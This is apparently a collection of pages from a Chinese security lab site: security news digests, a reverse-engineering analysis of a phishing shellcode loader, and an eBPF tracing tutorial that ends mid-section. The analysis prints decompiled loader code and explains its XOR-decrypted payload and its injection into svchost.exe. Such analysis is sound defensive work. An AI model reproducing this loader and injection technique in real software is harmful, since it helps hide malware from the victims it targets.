网络安全日报 2023年01月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、高通 UEFI 严重漏洞使微软、联想、三星等设备易受攻击 https://www.securityweek.com/qualcomm-uefi-flaws-expose-microsoft-lenovo-samsung-devices-attacks 2、2022 年美国有200多家政府、教育和医疗机构遭勒索软件攻击 https://www.securityweek.com/ransomware-hit-200-us-gov-education-and-healthcare-organizations-2022 3、IcedID 恶意软件活动针对 Zoom 用户 https://securityaffairs.com/140465/malware/icedid-targets-zoom-users.html 4、Hive 勒索软件团伙泄露了从Consulate Health Care窃取的 550 GB数据 https://securityaffairs.com/140452/cyber-crime/consulate-health-care-hive-ransomware.html 5、Bitdefender 发布了针对 MegaCortex 勒索软件的免费解密器 https://securityaffairs.com/140397/malware/megacortex-ransomware-decryptor.html 6、14 所英国学校遭遇学生和教职工机密数据的大规模泄露 https://www.infosecurity-magazine.com/news/uk-schools-leak-confidential-data 7、Android间谍软件SpyNote以欧洲和亚洲的金融机构为目标 https://thehackernews.com/2023/01/spynote-strikes-again-android-spyware.html 8、攻击者利用Fortinet设备中的漏洞分发勒索软件 https://www.infosecurity-magazine.com/news/fortinet-devices-distribute 9、微软揭示了4个针对macOS的勒索软件家族使用的策略 https://thehackernews.com/2023/01/microsoft-reveals-tactics-used-by-4.html 10、法航和荷航通知客户他们的个人信息在账户被盗后泄露 https://www.bleepingcomputer.com/news/security/air-france-and-klm-notify-customers-of-account-hacks/
网络安全日报 2023年01月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、16 家汽车制造商的车辆远程系统、API、基础设施等存在漏洞 https://www.securityweek.com/16-car-makers-and-their-vehicles-hacked-telematics-apis-infrastructure 2、2.35 亿条 Twitter 用户记录在互联网泄露 https://www.securityweek.com/database-containing-235-million-twitter-user-records-available-free 3、Zoho 敦促 ManageEngine 用户修补严重的 SQL 注入漏洞 https://www.securityweek.com/zoho-urges-manageengine-users-patch-serious-sql-injection-vulnerability 4、Slack 称黑客窃取了其私有源代码存储库 https://www.securityweek.com/slack-says-hackers-stole-private-source-code-repositories 5、Bluebottle 网络犯罪集团针对洲法语国家的金融部门 https://thehackernews.com/2023/01/bluebottle-cybercrime-group-preys-on.html 6、NIST 发布了太空操作地面部分的网络安全指南 https://www.securityweek.com/nist-finalizes-cybersecurity-guidance-ground-segment-space-operations 7、网络钓鱼活动冒充Flipper Zero卖家以网络安全专业人士为目标 https://www.infosecurity-magazine.com/news/phishing-campaign-uses-flipper-zero/ 8、丰田汽车公司披露了一起数据泄露事件 https://gbhackers.com/toyota-discloses-data-breach/ 9、超过6万台在线公开Exchange服务器容易受到ProxyNotShell 攻击 https://www.bleepingcomputer.com/news/security/over-60-000-exchange-servers-vulnerable-to-proxynotshell-attacks/ 10、Royal勒索软件团伙声称攻击了昆士兰科技大学 https://www.bleepingcomputer.com/news/security/royal-ransomware-claims-attack-on-queensland-university-of-technology/
记一次2022某地HVV中的逆向分析
前言 事情是这样的,国庆前期某地HVV,所以接到了客户通知他们收到了钓鱼邮件想要溯源 直接下载文件逆向分析一波。钓鱼邮件,图标什么的做的还是挺逼真的,还真的挺容易中招的,但是这里的bug也明显,丹尼斯没有客户端,百度一下能够辨别这是钓鱼的。 逆向分析 查壳工具DIE看是否加壳 当然其他查壳工具也可以exeinfope等,看到的东西不一样 可以看到是64位的应用,无壳,IDA静态分析 直接进入主函数,直接F5逆向main函数c代码 主函数中使用的函数比较少 int __cdecl main(int argc, const char **argv, const char **envp) { HRSRC ResourceW; // rbx HGLOBAL Resource; // rbp signed int v5; // eax size_t v6; // rsi size_t v7; // rcx void *v8; // rdi ResourceW = FindResourceW(0i64, (LPCWSTR)0x66, L"DATA"); Resource = LoadResource(0i64, ResourceW); v5 = SizeofResource(0i64, ResourceW); v6 = v5; v7 = (unsigned int)(v5 + 1); if ( v5 == -1 )   v7 = -1i64; v8 = malloc(v7); memset(v8, 0, (int)v6 + 1); memcpy(v8, Resource, v6); sub_140001070(v8); return 0; } 简单来看就是先查找资源,DATA应该为加密的shellcode,加载资源赋 给Resource,计算资源空间大小,malloc分配空间大小,memset 将申请的内存初始化为0,memcpy函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,跟进sub_140001070 可以看到反汇编之后在第52行创建进程,在56行分配虚拟内存,60行写入内存,61行创建线程,这里创建的线程即为恶意进程。这里使用动态调试x96dbg验证我们的分析另外,需要分析一下外联的地址以及注入的进程是什么,64位的应用使用x64dbg,依次下断点 简单计算一下地址,IDA的起始地址为00000001400015C4 FindResourcew地址为00000001400015C4 在x64dbg中找到起始地址00007FF638B915C4 根据偏移量跳转下断点 F7按步调试 在loadResource函数中追踪内存 这里加载的是DATA的内容,即为加密的shellcode,我们直接用Resouce hacker直接查看一下恶意进程dennis.exe的DATA内容 说明我们的分析没有问题,继续向下调试 因为这个应用比较小,所以代码量也不大,f5反编译之后可以直接找到函数下断点,这里不需要计算偏移量了,计算方法跟上面差不多。 调试走到这里,可以发现走的是循环 可以明显的看到有xor异或指令,这里对shellcode即DATA的内容做异或,异或的对象为byte ptr指向的地址,内存数据为key,那么key的内容为 因为是按字节异或所以这里异或的内存应该为78,整个循环异或的key应该为12345678,shellcode加密的时候应该用的key为12345678加密的,所以这里解密使用key去解密,跳出循环RIP一下,到断点CreateProcessW 可以清晰的看到注入的进程为C:\\windwos\\system32\\svchost.exe,向下调试 申请虚拟空间内存,然后向下为写入内存 解密完成后写入内存,所以在这里是可以看到外联的ip地址或者说是域名的,这里使用的是ip,查询之后发现是某云的服务器。 在向下就是创建进程起服务svchost.exe了 小结 钓鱼使用的服务器ip地址是某云,怕是可以溯源到本人的真实身份了吧,毕竟现在国内运营商都需要实名,如果用的国内域名也都是实名的不管是否有CDN,不过这种级别的HVV也没必要。第一次逆向分析,多亏了大佬指点,步履维艰,如有错误欢迎指出。
网络安全日报 2023年01月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Meta 因数据泄露事件被欧盟罚款 3.9 亿欧元 https://www.securityweek.com/meta-hit-390-million-euro-fine-over-eu-data-breaches 2、Android 针对 2023 Patch 60 漏洞的首次安全更新 https://www.securityweek.com/androids-first-security-updates-2023-patch-60-vulnerabilities 3、Fortinet 的 FortiTester、FortiADC 中发现了严重的命令注入漏洞 https://www.securityweek.com/high-severity-command-injection-flaws-found-fortinets-fortitester-fortiadc 4、Deezer 承认第三方数据泄露可能会泄露超过 2.2 亿用户的信息 https://www.musicbusinessworldwide.com/deezer-admits-data-breach-that-potentially-exposed-over-220-million-users-info 5、新的 shc Linux 恶意软件部署 Cryptominer进行挖矿 https://securityaffairs.com/140308/malware/shc-linux-malware-coinminer.html 6、高通芯片组和联想 BIOS 获得安全更新以修复多个漏洞 https://thehackernews.com/2023/01/qualcomm-chipsets-and-lenovo-bios-get.html 7、BlackCat勒索软件组织创建了泄露受害者数据的网站 https://www.govinfosecurity.com/blackcat-spoofs-victim-website-to-leak-stolen-data-a-20847 8、美国铁路公司Wabtec在Lockbit勒索软件攻击后披露数据泄露 https://www.bleepingcomputer.com/news/security/rail-giant-wabtec-discloses-data-breach-after-lockbit-ransomware-attack/ 9、网络诈骗者通过 Twitter 用户的投诉内容挖取个人信息 https://cybernews.com/news/crooks-monitor-twitter-complaints/ 10、Firefox 火狐浏览器被误识别为微软 IE 11,遭到部分网站拒绝访问 https://www.ithome.com/0/665/155.htm
网络安全日报 2023年01月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、欧洲金融和保险业成为Raspberry Robin蠕虫的攻击目标 https://thehackernews.com/2023/01/raspberry-robin-worm-evolves-to-attack.html 2、报告显示2022年美国105个地方政府遭到勒索软件攻击 https://securityaffairs.com/140242/cyber-crime/ransomware-attacks-emsisoft-report-2022.html 3、黑客论坛出售据称从沃尔沃汽车公司窃取的数据 https://securityaffairs.com/140258/hacking/volvo-cars-data-breach-2.html 4、马来西亚下令调查涉嫌影响约1300万公民的大规模数据泄露事件 https://www.govinfosecurity.com/malaysian-agencies-investigate-alleged-breach-affecting-13-million-a-20839 5、Synology 修复其路由器中的多个严重漏洞 https://securityaffairs.com/140288/security/synology-fixes-critical-flaws-routers.html 6、加拿大铜山矿业公司 (CMMC) 在勒索软件攻击后关闭了工厂 https://securityaffairs.com/140282/cyber-crime/canadian-cmmc-ransomware-attack.html 7、BitRAT 恶意活动利用被盗的敏感银行数据作为诱饵 https://securityaffairs.com/140268/malware/bitrat-bank-data-lures.html 8、谷歌将支付2950万美元解决用户位置跟踪诉讼 https://thehackernews.com/2023/01/google-to-pay-295-million-to-settle.html 9、Chrome浏览器将阻止用户通过不安全HTTP链接下载文件 https://www.anquanke.com/post/id/284830 10、2022年在Windows平台上发现了近 7000 万个新恶意软件样本 https://www.secrss.com/articles/50626
网络安全日报 2023年01月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Google Home智能扬声器存在漏洞可导致黑客窥探设备 https://www.bleepingcomputer.com/news/security/google-home-speakers-allowed-hackers-to-snoop-on-conversations/ 2、LockBit勒索组织针对葡萄牙里斯本港进行网络攻击 https://therecord.media/port-of-lisbon-website-still-down-as-lockbit-gang-claims-cyberattack/ 3、Netgear公司建议用户修补最近修复的WiFi路由器高危漏洞 https://www.bleepingcomputer.com/news/security/netgear-warns-users-to-patch-recently-fixed-wifi-router-bug/ 4、研究人员披露SNI代理错误配置可导致SSRF漏洞 https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/ 5、加拿大矿业公司遭受勒索软件攻击后关闭工厂 https://www.bleepingcomputer.com/news/security/canadian-mining-firm-shuts-down-mill-after-ransomware-attack/ 6、研究人员表示2022年的大规模DDoS攻击增加了81% https://cyware.com/news/large-volume-ddos-attacks-increases-by-81-in-2022-0a9d8cbd 7、PyTorch识别出一个假冒的torchtriton依赖项 https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/ 8、Lockbit 为 SickKids 儿科医院的攻击道歉并发布免费解密器 https://securityaffairs.com/140193/cyber-crime/lockbit-apologized-attack-sickkids.html 9、PureCoder黑客组织在暗网上出售多种恶意软件 https://cyware.com/news/multiple-malware-for-sale-on-darkweb-forums-d7b8c587 10、新的 Linux 恶意软件通过利用 30 个漏洞来攻击 WordPress 网站 https://securityaffairs.com/140153/cyber-crime/linux-malware-wordpress-websites.html
网络安全日报 2022年12月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、上千台Citrix服务器受到多个严重安全漏洞的影响 https://www.bleepingcomputer.com/news/security/thousands-of-citrix-servers-vulnerable-to-patched-critical-flaws 2、Royal勒索组织声称对Intrado电信提供商发动了网络攻击 https://www.bleepingcomputer.com/news/security/royal-ransomware-claims-attack-on-intrado-telecom-provider/ 3、勒索组织针对路易斯安那州医院的攻击影响超27万名患者数据 https://www.bleepingcomputer.com/news/security/ransomware-attack-at-louisiana-hospital-impacts-270-000-patients/ 4、通过 Google Ads 的新恶意广告活动针对搜索流行软件的用户 https://thehackernews.com/2022/12/new-malvertising-campaign-via-google.html 5、罗克韦尔自动化控制器中发现多个 DoS、代码执行漏洞 https://www.securityweek.com/several-dos-code-execution-vulnerabilities-found-rockwell-automation-controllers 6、俄亥俄州法院、警察局遭到 LockBit 勒索软件攻击 https://www.freebuf.com/news/353816.html 7、安全专家指责 LastPass 公告:存在 14 点疑问,避重就轻 https://www.ithome.com/0/663/960.htm 8、美国司法部正在调查 FTX 黑客攻击 https://www.inforisktoday.com/us-department-justice-reportedly-investigates-ftx-hack-a-20809 9、调查显示,金融服务行业是 2022 年最受网络攻击影响的行业之一 https://www.inforisktoday.com/financial-services-was-among-most-breached-sectors-in-2022-a-20760 10、APT 黑客越来越多的转向恶意 Excel 加载项作为初始入侵向量 https://thehackernews.com/2022/12/apt-hackers-turn-to-malicious-excel-add.html
linux跟踪技术之ebpf
ebpf简介 eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。 比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。 ebpf追踪 ebpf本质上只是运行在linux 内核中的虚拟机,要发挥其强大的能力还是要跟linux kernel 自带的追踪功能搭配: kprobe uprobe tracepoint USDT 通常可以通过以下三种工具使用ebpf: bcc libbpf bpftrace bcc BCC 是一个用于创建高效内核跟踪和操作程序的工具包,包括几个有用的工具和示例。它利用扩展的 BPF(Berkeley Packet Filters),正式名称为 eBPF,这是 Linux 3.15 中首次添加的新功能。BCC 使用的大部分内容都需要 Linux 4.1 及更高版本。 源码安装bcc v0.25.0 首先clone bcc 源码仓库 git clone https://github.com/iovisor/bcc.git git checkout v0.25.0 git submodule init git submodule update bcc 从v0.10.0开始使用libbpf 并通过submodule 的形式加入源码树,所以这里需要更新并拉取子模块 安装依赖 apt install flex bison libdebuginfod-dev libclang-14-dev 编译bcc mkdir build && cd build cmake -DCMAKE_BUILD_TYPE=Release .. make -j #n取决于机器的cpu核心数 编译安装完成后,在python3中就能使用bcc模块了 安装bcc时会在/usr/share/bcc目录下安装bcc自带的示例脚本和工具脚本,以及manual 文档 可以直接使用man -M /usr/share/bcc/man <keyword>来查询 使用python + bcc 跟踪内核函数 bcc 自带的工具execsnoop可以跟踪execv系统调用,其源代码如下: #!/usr/bin/python # @lint-avoid-python-3-compatibility-imports # # execsnoop Trace new processes via exec() syscalls. #           For Linux, uses BCC, eBPF. Embedded C. # # USAGE: execsnoop [-h] [-T] [-t] [-x] [-q] [-n NAME] [-l LINE] #                 [--max-args MAX_ARGS] # # This currently will print up to a maximum of 19 arguments, plus the process # name, so 20 fields in total (MAXARG). # # This won't catch all new processes: an application may fork() but not exec(). # # Copyright 2016 Netflix, Inc. # Licensed under the Apache License, Version 2.0 (the "License") # # 07-Feb-2016   Brendan Gregg   Created this. from __future__ import print_function from bcc import BPF from bcc.containers import filter_by_containers from bcc.utils import ArgString, printb import bcc.utils as utils import argparse import re import time import pwd from collections import defaultdict from time import strftime def parse_uid(user):    try:        result = int(user)    except ValueError:        try:            user_info = pwd.getpwnam(user)        except KeyError:            raise argparse.ArgumentTypeError(                "{0!r} is not valid UID or user entry".format(user))        else:            return user_info.pw_uid    else:        # Maybe validate if UID < 0 ?        return result # arguments examples = """examples:   ./execsnoop           # trace all exec() syscalls   ./execsnoop -x       # include failed exec()s   ./execsnoop -T       # include time (HH:MM:SS)   ./execsnoop -U       # include UID   ./execsnoop -u 1000   # only trace UID 1000   ./execsnoop -u user   # get user UID and trace only them   ./execsnoop -t       # include timestamps   ./execsnoop -q       # add "quotemarks" around arguments   ./execsnoop -n main   # only print command lines containing "main"   ./execsnoop -l tpkg   # only print command where arguments contains "tpkg"   ./execsnoop --cgroupmap mappath # only trace cgroups in this BPF map   ./execsnoop --mntnsmap mappath   # only trace mount namespaces in the map """ parser = argparse.ArgumentParser(    description="Trace exec() syscalls",    formatter_class=argparse.RawDescriptionHelpFormatter,    epilog=examples) parser.add_argument("-T", "--time", action="store_true",    help="include time column on output (HH:MM:SS)") parser.add_argument("-t", "--timestamp", action="store_true",    help="include timestamp on output") parser.add_argument("-x", "--fails", action="store_true",    help="include failed exec()s") parser.add_argument("--cgroupmap",    help="trace cgroups in this BPF map only") parser.add_argument("--mntnsmap",    help="trace mount namespaces in this BPF map only") parser.add_argument("-u", "--uid", type=parse_uid, metavar='USER',    help="trace this UID only") parser.add_argument("-q", "--quote", action="store_true",    help="Add quotemarks (\") around arguments."   ) parser.add_argument("-n", "--name",    type=ArgString,    help="only print commands matching this name (regex), any arg") parser.add_argument("-l", "--line",    type=ArgString,    help="only print commands where arg contains this line (regex)") parser.add_argument("-U", "--print-uid", action="store_true",    help="print UID column") parser.add_argument("--max-args", default="20",    help="maximum number of arguments parsed and displayed, defaults to 20") parser.add_argument("--ebpf", action="store_true",    help=argparse.SUPPRESS) args = parser.parse_args() # define BPF program bpf_text = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/fs.h> #define ARGSIZE 128 enum event_type {   EVENT_ARG,   EVENT_RET, }; struct data_t {   u32 pid; // PID as in the userspace term (i.e. task->tgid in kernel)   u32 ppid; // Parent PID as in the userspace term (i.e task->real_parent->tgid in kernel)   u32 uid;   char comm[TASK_COMM_LEN];   enum event_type type;   char argv[ARGSIZE];   int retval; }; BPF_PERF_OUTPUT(events); static int __submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   bpf_probe_read_user(data->argv, sizeof(data->argv), ptr);   events.perf_submit(ctx, data, sizeof(struct data_t));   return 1; } static int submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   const char *argp = NULL;   bpf_probe_read_user(&argp, sizeof(argp), ptr);   if (argp) {       return __submit_arg(ctx, (void *)(argp), data);   }   return 0; } int syscall__execve(struct pt_regs *ctx,   const char __user *filename,   const char __user *const __user *__argv,   const char __user *const __user *__envp) {   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   if (container_should_be_filtered()) {       return 0;   }   // create data here and pass to submit_arg to save stack space (#555)   struct data_t data = {};   struct task_struct *task;   data.pid = bpf_get_current_pid_tgid() >> 32;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_ARG;   __submit_arg(ctx, (void *)filename, &data);   // skip first arg, as we submitted filename   #pragma unroll   for (int i = 1; i < MAXARG; i++) {       if (submit_arg(ctx, (void *)&__argv[i], &data) == 0)             goto out;   }   // handle truncated argument list   char ellipsis[] = "...";   __submit_arg(ctx, (void *)ellipsis, &data); out:   return 0; } int do_ret_sys_execve(struct pt_regs *ctx) {   if (container_should_be_filtered()) {       return 0;   }   struct data_t data = {};   struct task_struct *task;   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   data.pid = bpf_get_current_pid_tgid() >> 32;   data.uid = uid;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_RET;   data.retval = PT_REGS_RC(ctx);   events.perf_submit(ctx, &data, sizeof(data));   return 0; } """ bpf_text = bpf_text.replace("MAXARG", args.max_args) if args.uid:    bpf_text = bpf_text.replace('UID_FILTER',        'if (uid != %s) { return 0; }' % args.uid) else:    bpf_text = bpf_text.replace('UID_FILTER', '') bpf_text = filter_by_containers(args) + bpf_text if args.ebpf:    print(bpf_text)    exit() # initialize BPF b = BPF(text=bpf_text) execve_fnname = b.get_syscall_fnname("execve") b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve") b.attach_kretprobe(event=execve_fnname, fn_name="do_ret_sys_execve") # header if args.time:    print("%-9s" % ("TIME"), end="") if args.timestamp:    print("%-8s" % ("TIME(s)"), end="") if args.print_uid:    print("%-6s" % ("UID"), end="") print("%-16s %-7s %-7s %3s %s" % ("PCOMM", "PID", "PPID", "RET", "ARGS")) class EventType(object):    EVENT_ARG = 0    EVENT_RET = 1 start_ts = time.time() argv = defaultdict(list) # This is best-effort PPID matching. Short-lived processes may exit # before we get a chance to read the PPID. # This is a fallback for when fetching the PPID from task->real_parent->tgip # returns 0, which happens in some kernel versions. def get_ppid(pid):    try:        with open("/proc/%d/status" % pid) as status:            for line in status:                if line.startswith("PPid:"):                    return int(line.split()[1])    except IOError:        pass    return 0 # process event def print_event(cpu, data, size):    event = b["events"].event(data)    skip = False    if event.type == EventType.EVENT_ARG:        argv[event.pid].append(event.argv)    elif event.type == EventType.EVENT_RET:        if event.retval != 0 and not args.fails:            skip = True        if args.name and not re.search(bytes(args.name), event.comm):            skip = True        if args.line and not re.search(bytes(args.line),                                       b' '.join(argv[event.pid])):            skip = True        if args.quote:            argv[event.pid] = [                b"\"" + arg.replace(b"\"", b"\\\"") + b"\""                for arg in argv[event.pid]           ]        if not skip:            if args.time:                printb(b"%-9s" % strftime("%H:%M:%S").encode('ascii'), nl="")            if args.timestamp:                printb(b"%-8.3f" % (time.time() - start_ts), nl="")            if args.print_uid:                printb(b"%-6d" % event.uid, nl="")            ppid = event.ppid if event.ppid > 0 else get_ppid(event.pid)            ppid = b"%d" % ppid if ppid > 0 else b"?"            argv_text = b' '.join(argv[event.pid]).replace(b'\n', b'\\n')            printb(b"%-16s %-7d %-7s %3d %s" % (event.comm, event.pid,                   ppid, event.retval, argv_text))        try:            del(argv[event.pid])        except Exception:            pass # loop with callback to print_event b["events"].open_perf_buffer(print_event) while 1:    try:        b.perf_buffer_poll()    except KeyboardInterrupt:        exit() 此工具使用kprobe和kretprobe跟踪execv系统调用的进入和退出事件,并将进程名,进程参数,pid,ppid以及返回代码输出到终端 使用python + bcc 跟踪用户函数 bcc中使用uprobe跟踪glibc malloc 函数的工具,并统计malloc 内存的总量。 #!/usr/bin/python # # mallocstacks Trace malloc() calls in a process and print the full #               stack trace for all callsites. #               For Linux, uses BCC, eBPF. Embedded C. # # This script is a basic example of the new Linux 4.6+ BPF_STACK_TRACE # table API. # # Copyright 2016 GitHub, Inc. # Licensed under the Apache License, Version 2.0 (the "License") from __future__ import print_function from bcc import BPF from bcc.utils import printb from time import sleep import sys if len(sys.argv) < 2:    print("USAGE: mallocstacks PID [NUM_STACKS=1024]")    exit() pid = int(sys.argv[1]) if len(sys.argv) == 3:    try:        assert int(sys.argv[2]) > 0, ""    except (ValueError, AssertionError) as e:        print("USAGE: mallocstacks PID [NUM_STACKS=1024]")        print("NUM_STACKS must be a non-zero, positive integer")        exit()    stacks = sys.argv[2] else:    stacks = "1024" # load BPF program b = BPF(text=""" #include <uapi/linux/ptrace.h> BPF_HASH(calls, int); BPF_STACK_TRACE(stack_traces, """ + stacks + """); int alloc_enter(struct pt_regs *ctx, size_t size) {   int key = stack_traces.get_stackid(ctx, BPF_F_USER_STACK);   if (key < 0)       return 0;   // could also use `calls.increment(key, size);`   u64 zero = 0, *val;   val = calls.lookup_or_try_init(&key, &zero);   if (val) {     (*val) += size;   }   return 0; }; """) b.attach_uprobe(name="c", sym="malloc", fn_name="alloc_enter", pid=pid) print("Attaching to malloc in pid %d, Ctrl+C to quit." % pid) # sleep until Ctrl-C try:    sleep(99999999) except KeyboardInterrupt:    pass calls = b.get_table("calls") stack_traces = b.get_table("stack_traces") for k, v in reversed(sorted(calls.items(), key=lambda c: c[1].value)):    print("%d bytes allocated at:" % v.value)    if k.value > 0 :        for addr in stack_traces.walk(k.value):            printb(b"\t%s" % b.sym(addr, pid, show_offset=True)) libbpf libbpf是linux 源码树中的ebpf 开发包。同时在github上也有独立的代码仓库。 这里推荐使用https://zhuanlan.zhihu.com/write这个项目 libbpf-bootstrap libbpf-bootstrap是使用 libbpf 和 BPF CO-RE 进行 BPF 应用程序开发的脚手架项目 首先克隆libbpf-bootstrap仓库 git clone https://github.com/libbpf/libbpf-bootstrap.git 然后同步子模块 cd libbpf-bootstrap git submodule init git submodule update 注意,子模块中包含bpftool,bpftool中还有子模块需要同步 在bpftool目录下重复以上步骤 libbpf-bootstrap中包含以下目录 这里进入example/c中,这里包含一些示例工具 直接make编译 等编译完成后,在此目录下会生成可执行文件 先运行一下bootstrap,这里要用root权限运行 bootstrap程序会追踪所有的exec和exit系统调用,每次程序运行时,bootstrap就会输出运行程序的信息。 再看看minimal,这是一个最小ebpf程序。 运行后输出大量信息,最后有提示让我们运行sudo cat /sys/kernel/debug/tracing/trace_pipe来查看输出 运行这个命令 minimal 会追踪所有的write系统调用,并打印出调用write的进程的pid 这里看到pid为11494,ps 查询一下这个进程,发现就是minimal 来看看minimal的源码,这个程序主要有两个C文件组成,minimal.c和minimal.bpf.c前者为此程序的源码,后者为插入内核虚拟机的ebpf代码。 // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) /* Copyright (c) 2020 Facebook */ #include <stdio.h> #include <unistd.h> #include <sys/resource.h> #include <bpf/libbpf.h> #include "minimal.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) {    return vfprintf(stderr, format, args); } int main(int argc, char **argv) {    struct minimal_bpf *skel;    int err;    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);    /* Set up libbpf errors and debug info callback */    libbpf_set_print(libbpf_print_fn);    /* Open BPF application */    skel = minimal_bpf__open();    if (!skel) {        fprintf(stderr, "Failed to open BPF skeleton\n");        return 1;   }    /* ensure BPF program only handles write() syscalls from our process */    skel->bss->my_pid = getpid();    /* Load & verify BPF programs */    err = minimal_bpf__load(skel);    if (err) {        fprintf(stderr, "Failed to load and verify BPF skeleton\n");        goto cleanup;   }    /* Attach tracepoint handler */    err = minimal_bpf__attach(skel);    if (err) {        fprintf(stderr, "Failed to attach BPF skeleton\n");        goto cleanup;   }    printf("Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` "           "to see output of the BPF programs.\n");    for (;;) {        /* trigger our BPF program */        fprintf(stderr, ".");        sleep(1);   }    cleanup:    minimal_bpf__destroy(skel);    return -err; } 首先看一下minimal.c的内容,在main函数中首先调用了libbpf_set_strict_mode(LIBBPF_STRICT_ALL);设置为libbpf v1.0模式。此模式下错误代码直接通过函数返回值传递,不再需要检查errno。 之后调用libbpf_set_print(libbpf_print_fn);将程序中一个自定义输出函数设置为调试输出的回调函数,即运行minimal的这些输出全都时通过libbpf_print_fn输出的。 然后在minimal.c:24调用生成的minimal.skel.h中的预定义函数minimal_bpfopen打开bpf程序,这里返回一个minimal_bpf类型的对象(c中使用结构体模拟对象)。 在31行将minimal_bpf对象的bss子对象的my_pid属性设置为当前进程pid 这里minimal_bpf对象和bss都由minimal.bpf.c代码编译而来。minimal.bpf.c经过clang 编译连接,生成minimal.bpf.o,这是一个elf文件,其中包含bss段,这个段内通常储存着minimal.bpf.c中所有经过初始化的变量。 skel->bss->my_pi 接下来看minimal.bpf.c 这是ebpf程序的源码,是要加载到内核中的ebpf虚拟机中运行的,由于在运行在内核中,具有得天独厚的地理位置,可以访问系统中所有资源,再配合上众多的tracepoint,就可以发挥出强大的追踪能力。 下面是minimal.bpf.c的源码 // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause /* Copyright (c) 2020 Facebook */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> char LICENSE[] SEC("license") = "Dual BSD/GPL"; int my_pid = 0; SEC("tp/syscalls/sys_enter_write") int handle_tp(void *ctx) {    int pid = bpf_get_current_pid_tgid() >> 32;    if (pid != my_pid)        return 0;    bpf_printk("BPF triggered from PID %d.\n", pid);    return 0; } minimal.bpf.c会被clang 编译器编译为ebpf字节码,然后通过bpftool将其转换为minimal.skel.h头文件,以供minimal.c使用。 此代码中定义并初始化了一个全局变量my_pid,经过编译连接后此变量会进入elf文件的bss段中。 然后,代码中定义了一个函数int handle_tp(void *ctx),此函数中通过调用bpf_get_current_pid_tgid() >> 32获取到调用此函数的进程pid 然后比较pid与my_pid的值,如果相同则调用bpf_printk输出"BPF triggered from PID %d\n” 这里由于handle_tp函数是通过SEC宏附加在write系统调用上,所以在调用write()时,handle_tp也会被调用,从而实现追踪系统调用的功能。 SEC宏在bpf程序中处于非常重要的地位。可以参考https://libbpf.readthedocs.io/en/latest/program_types.html SEC宏可以指定ebpf函数附加的点,包括系统调用,静态tracepoint,动态的kprobe和uprobe,以及USDT等等。 Lib 通过llvm-objdump 可以看到编译后的epbf程序文件包含一个以追踪点命名的section ebpf字节码dump ebpf程序可以使用llvm-objdump -d dump 出ebpf字节码 bpftrace bpftrace 提供了一种类似awk 的脚本语言,通过编写脚本,配合bpftrace支持的追踪点,可以实现非常强大的追踪功能 安装 sudo apt-get update sudo apt-get install -y \ bison \ cmake \ flex \ g++ \ git \ libelf-dev \ zlib1g-dev \ libfl-dev \ systemtap-sdt-dev \ binutils-dev \ libcereal-dev \ llvm-12-dev \ llvm-12-runtime \ libclang-12-dev \ clang-12 \ libpcap-dev \ libgtest-dev \ libgmock-dev \ asciidoctor git clone htt bpftrace命令行参数 # bpftrace USAGE:   bpftrace [options] 